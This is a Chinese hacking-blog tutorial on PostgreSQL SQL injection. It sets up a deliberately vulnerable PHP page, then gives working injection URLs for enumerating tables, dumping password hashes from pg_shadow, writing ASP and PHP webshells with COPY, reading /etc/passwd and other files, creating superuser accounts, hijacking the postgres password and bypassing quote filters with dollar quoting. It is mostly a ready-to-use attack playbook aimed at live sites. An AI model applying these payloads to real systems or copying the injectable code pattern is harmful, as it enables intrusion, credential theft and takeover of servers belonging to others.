postgresql数据库注入详解

CracerCracer 2015-10-6 渗透测试 2,365 0 2

2

环境搭建

很简单,但是为了众弟兄方便,偶还是啰嗦下。
1. 安装apache postgresql 9.1.4

关于postgresql数据库的安装请看:

http://cracer.com/?p=210
2. 进入postgresql shell 输入如下语句:

Create database test;
\c test;
Create table test(str varchar(2000),id int);
Insert into test(str,id) values(‘sss’,1);
\q

3. 保存如下php文件到apache web目录,注意,为了演示全部功能,把php的magic调节成off。

<?php
$id = $_GET['id'];
$db = pg_connect(”host=localhost dbname=test user=postgres password=test”);
$query = ‘SELECT * FROM test where id=’.$id;
$result = pg_query($query) or die(’Query failed: ‘ . pg_last_error());
echo “<table>\n”;
while ($line = pg_fetch_array($result, null, PGSQL_ASSOC)) {
echo “\t<tr>\n”;
foreach ($line as $col_value) {
echo “\t\t<td>$col_value</td>\n”;
}
echo “\t</tr>\n”;
}
echo “</table>\n”;
pg_free_result($result);
pg_close($db);
?>

 

好了,访问xxx.php?id=1 ,这就是注入点了。
开始注入
不知道pgsql是从什么版本开始支持information_schema这样的东西,相信大家很熟悉他的结构。我仔细比对了他和mysql5的这个库的区别,请放心使用!呵呵。
要注意的问题是,在pgsql里information_schema的存在形式并非一个真正的数据库,比如,我们在test库里建立了一个叫test的表,那么在pshell里进入其他数据库输入select table_name from information_schema.tables是找不到资料的。但是\c test连接到test数据库里输入上面的查询语句却能找到test的记录,另外,pgsql里跨库查询也很困难,目前没有找到好的办法。另外pgsql不支持mysql的limit x,y这个语法,取而代之的是limit 1 offset n。这样说很空洞。请看:
Union字段探测不提,还有就是pgsql要先用null匹配,然后慢慢找到可以显示的字段。
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+’a’,null–
浏览起返回a
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+table_name,null+from+information_schema.tables+limit+1+offset+0
浏览器返回第一个表的名字,其他的不提。
另外,实战中发现版本问题可能并不支持information_schema,但是pg丰富的系统表能提供我们想要的东西,做到通杀pgsql,这也是本文的重点之一。
我把我们需要的东西都提取出来,一一对应一下:
Table pg_class.oid 对应 pg_attribute.attrelid
我用查询来说明问题,
Select relname from pg_class /*得到表名
Select oid from pg_class where relname=’xxx’/*得到表xxx的oid,如为2
Select attname from pg_arrribute where attrelid=2 /*得到表xxx的所有字段列表
必须使用oid,这是表的唯一标示符。以免出错。
实战:
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+relname,null+from+pg_class+where+relkind=‘r’+limit+1+offset+0–
加入relkind=’r’,只查询普通表(系统表你感兴趣么?呵呵)我得到pg_aggregate
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+cast(oid+as+varchar(10)),null+from+pg_class+where+relkind=‘r’+limit+1+offset+0–
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。我得到1136
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+attname,null+from+pg_attribute+where+attrelid=1136+limit+1+offset+0–
第一个字段,嘎嘎。改变offset后面的数字,就可以依次获取了。
另外
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+datname,null+from+pg_database+limit+1+offset+0–
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+usename||chr(124)||passwd,null+from+pg_shadow+limit+1+offset+0–
注意:postgres这个户不仅作为pgsql的创始账户,在系统中也是真实存在的。故如能破解这个账号的密码,那么。。。。。。
关于webshell的问题
关于获取webshell,大家最关系的问题。
如果你已经登入psql,那么
Sql>select ‘<%execute request(”v”)%>’;
Sql>\o c:\\wwwroot\\s.asp
当然,不知道是不是我win2008系统的问题,这个老是显示目录拒绝访问,呵呵。
如果你没有登入,那么
http://localhost:8080/test/pg.php?id=1;copy+(select+’<%25execute+request(“v”)%25>’)+to+’G:\\Pg_test\\webshell.asp’–
呵呵,如果没有引号,那怎么办?我想用声明变量的方法,但是老是语句不对,不知道这是为什么。说明书上都是这么写的,郁闷。
什么?你想读文件?
http://localhost:8080/test/pg.php?id=1;create+table+readtxt(text+varchar(200))–
http://localhost:8080/test/pg.php?id=1;copy+readtxt(text)+from+’G:\\easy2php5\\WebSite\\test\\pg.php’–
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+text,null+from+readtxt+limit+1+offset+0–
改变offset后的数字,读文件的每一行。嘎嘎。
接下来,是读取一些环境变量。
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+user,null–
http://localhost:8080/test/pg.php?id=1+and+1=2+union+select+version(),null–
其他的环境变量,在以前的文章中有整理。
如果发现注入点用的账户是postgres!那好!
http://localhost:8080/test/pg.php?id=1;create+user+test+with+superuser+password+’test’–
赶快去登陆吧,嘎嘎。
http://localhost:8080/test/pg.php?id=1;alter+user+postgres+with+password+’hacker’–
大家注意,这条指令修改了postgres的密码,即系统账户postgres的密码,如果有3389就可以直接postgres hacker登陆,但是网站由于密码认证失败,会崩溃。。。。。。
Warning: pg_connect() [function.pg-connect]: Unable to connect to PostgreSQL server: 致命错误: 用户 “postgres” Password 认证失败 in G:\easy2php5\WebSite\test\pg.php on line 3
Warning: pg_query() [function.pg-query]: No PostgreSQL link opened yet in G:\easy2php5\WebSite\test\pg.php on line 5
Warning: pg_last_error() [function.pg-last-error]: No PostgreSQL link opened yet in G:\easy2php5\WebSite\test\pg.php on line 5
Query failed:

第二部分

1.在postgresql下导出webshell
create table mickey_shell(shell text not null);
insert into shell values(’<?php ($_POST[cmd]);?>’);
copy mickey_shell(shell) to ‘/var/www/html/mickey.php’;
另一种简便的方法:
copy (select ‘<?php ($_POST[cmd]);?>’) to ‘/var/www/html/mickey.php’
2.如果没有写权限,可以尝试读文件
create table mickey_file(file text not null);
copy mickey_file (file) from ‘/etc/passwd’;
select * from mickey_file;
读取文件前20行
pg_read_file(’/etc/passwd’,1,20)
PGADMIN的帐户信息,在linux下默认存放在用户家目录的.pgpass文件中
mickey@pentest:~$ pwd
/home/mickey
mickey@pentest:~$ cat .pgpass
127.0.0.1:5432:*:postgres:mickey
判断postgresql数据库
http://www.xxx.com/news.php?id=62 and 1::int=1
通过cast类型转换来暴postgresql信息
http://www.xxx.com/new.php?id=1 and 1=cast(version() as int)
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid
input syntax for integer: "PostgreSQL 8.2.9 on
i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD]
20060305" in /usr/local/www/apache22/data/qzx/news.php on line 6
http://www.xxx.com/new.php?id=1 and 1=cast(current_user as int)
如果遇到此类的出错信息
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: cannot
cast type name to integer in /usr/local/www/apache22/data/qzx/news.php
on line 6

http://www.xxx.com/new.php?id=1 and 1=cast(current_user ||123 as int)
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid
input syntax for integer: "zhangfeng123" in
/usr/local/www/apache22/data/qzx/homehs.php on line 109

我的小小补充

从pgsql8.2开始支持adminpack这个包,看了代码过后认为几乎对于管理员来说,可以无限制使用。(代码 https://projects.commandprompt.com/public/replicator/browser/trunk /contrib/adminpack/adminpack.c)。权限要求很高。主要有这几个函数
pg_file_write(filename,text,bool) bool为覆盖模式
pg_read_file(filename,pos,length) 返回类型text不提,很好利用,不管是cast暴值还是union
pg_ls_dir(dirname)
注意他的返回类型为setof text 需要这样来(select pg_ls_dir(’/var/www/’) limit 1 offset n)这样来读取不同记录
pg_stat_file(filename) 这个返回结果是record,为文件属性,需要把他作为一个子表来看待。不太清楚具体的返回字段。有兴趣的同学自己看看。另外像pg_file_unlink,pg_file_raname不提。
单引号的绕过在pg8.0以上容易实现。这部分来源于老外的文档。大致意思可以用$quote$代替单引号,也可以用$$来定义字符。比如’test’变成$quote$test$quote$或$$test$$。这样对php的注入就大为方便了。
下面引用自:Advanced PostgreSQL SQL Injection and Filter Bypass Techniques(作者:Leon Juranić)
This allows the attacker string quoting with the dollar sign; the following two strings
are treated identically by a PostgreSQL database version 8 or higher: ‘TEST’ and $$TEST$$.
Considering that magic quotes does not filter dollar signs, this allows the attacker to inject
strings into SQL statements without the need to use the CHR() function. Such encoding of
strings can also be used with web application firewalls that filter other characters, such as the
pipe (’|') character.
The following example shows a SELECT statement using a dollar-quoted string constant:
SELECT $$DOLLAR-SIGN-TEST$$;
Finally, PostgreSQL supports string quoting with tags. Tags have to be defined between the
dollar signs ($tag$), as shown in the example below:
SELECT $quote$DOLLAR-SIGN-TEST$quote$;
This can further help the attacker bypass web application firewalls.

转载请注明来自Cracer,本文标题:《postgresql数据库注入详解》

喜欢 (2) 发布评论
发表评论


Top